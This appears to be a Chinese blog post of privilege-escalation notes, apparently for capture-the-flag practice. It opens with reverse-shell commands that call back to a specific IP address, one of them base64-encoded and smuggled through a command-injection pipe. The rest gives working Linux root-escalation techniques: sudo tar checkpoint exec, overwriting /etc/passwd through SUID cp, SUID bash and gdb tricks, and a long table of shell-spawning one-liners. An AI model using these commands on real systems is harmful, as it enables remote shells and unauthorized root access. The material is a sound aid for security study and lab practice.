提权

用VPS反弹shell

攻击机监听端口

1
nc -lvp 2333

目标机

1
2
3
127.0.0.1 | echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNzUuMTI2LzIzMzMgMD4mMQ== | base64 -d| /bin/bash
127.0.0.1 | echo bash -i >& /dev/tcp/47.122.75.126/2333 0>&1
nc -e /bin/sh 47.122.75.126 2333

提权

已知一个用户的密码

  • cat /etc/passwd命令来查看用户
  • su 用户名命令来切换用户,尝试出已知的密码是哪一个用户的
  • sudo -l命令来查看当前用户的权限

tar包提权

如果管理员给予了某个普通用户tar命令的超级管理员操作

1
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"
  • -c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)
  • -f:使用档名,f之后直接加档名,中间不能加其他参数
  • --checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由 –checkpoint-action 指定
  • exec:执行外部命令

执行这个命令后就提权成功了,用id命令查看当前用户发现已经是root,此时可以自由查看 /root 文件中的内容

suid cp提权

用命令查找是否存在suid提权的可能

1
find / -perm -u=s -type f 2>/dev/null

看到/bin/cp就知道可以用 cp 提权了
操作步骤:先构造一个和/etc/passwd里一样的文件 然后在文件的末尾加上一个用户 这个用户的相关信息都可以随你编写 再利用cp的高权限对/etc/passwd文件进行覆盖

方法一

在/tmp新建一个passwd文件,在tmp的原因是因为tmp目录是临时缓存目录 一般访问和修改权限较低但可执行权限较高

1
echo "hacker::0:0:hacker:/home/hacker:/bin/bash" >>/tmp/passwd

然后回到命令行使用 cp 命令把 /etc/passwd 用 /tmp/passwd 替换掉

1
cp /tmp/passwd /etc/passwd

然后cat /etc/passwd查看 /etc/passwd 可以看到有了hacker用户

使用su hacker命令切换成hacker用户

此时我们拥有root权限,就可以查看root文件里的内容了

方法二

1
2
3
cp /bin/bash /tmp
/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash
/tmp/bash -p

依次执行完这三个命令

id命令可以看到euid已经是root了,用whoami可以看到是root

此时就可以查看root文件里的内容

suid gdb提权

1
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

常用提权命令

命令 利用方法
zsh zsh
xargs xargs -a /dev/null sh -p
watch watch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
timeout timeout 7d /bin/sh -p
time time /bin/sh -p
tclsh + tclsh
+ exec /bin/sh -p <@stdin >@stdout 2>@stderr
taskset taskset 1 /bin/sh -p
stdbuf stdbuf -i0 /bin/sh -p
strace strace -o /dev/null /bin/sh -p
ssh ssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
setarch setarch $(arch) /bin/sh -p
rsync rsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
rpm rpm –eval ‘%{lua:os.execute(“/bin/sh -p”)}’
python python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
php + CMD=”/bin/sh”
+ php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
nice nice /bin/sh -p
nano + nano //运行nano程序
+ ^R //按下ctrl-r
+ ^X //按下ctrl-x 4、reset; sh -p 1>&0 2>&0 //输入下面的命令
more + more /etc/profile
+ !/bin/sh -p
logsave logsave /dev/null /bin/sh -i -p
less less /etc/profile //读取文件,在底行输入!/bin/sh -p
ksh ksh -p
ip + ip netns add foo
+ ip netns exec foo /bin/sh -p
+ ip netns delete foo
ionice ionice /bin/sh -p
git git help status
gimp gimp -idf –batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
gdb gdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
ftp ftp //在底行输入“!/bin/sh -p”
flock flock -u / /bin/sh -p
find find . -exec /bin/sh -p ; -quit
expect expect -c ‘spawn /bin/sh -p;interact’
env env /bin/sh -p
ed ed //在底行输入“!/bin/sh -p”
docker docker run -v /:/mnt –rm -it alpine chroot /mnt sh
dmesg dmesg -H//在底行输入“!/bin/sh -p”
csh csh -b
bash bash -p
awk awk ‘BEGIN {system(“/bin/bash -p”)}’
perl perl exec “/bin/bash”;

提权
https://yschen20.github.io/2025/04/25/提权/
作者
Suzen
发布于
2025年4月25日
更新于
2025年4月25日
许可协议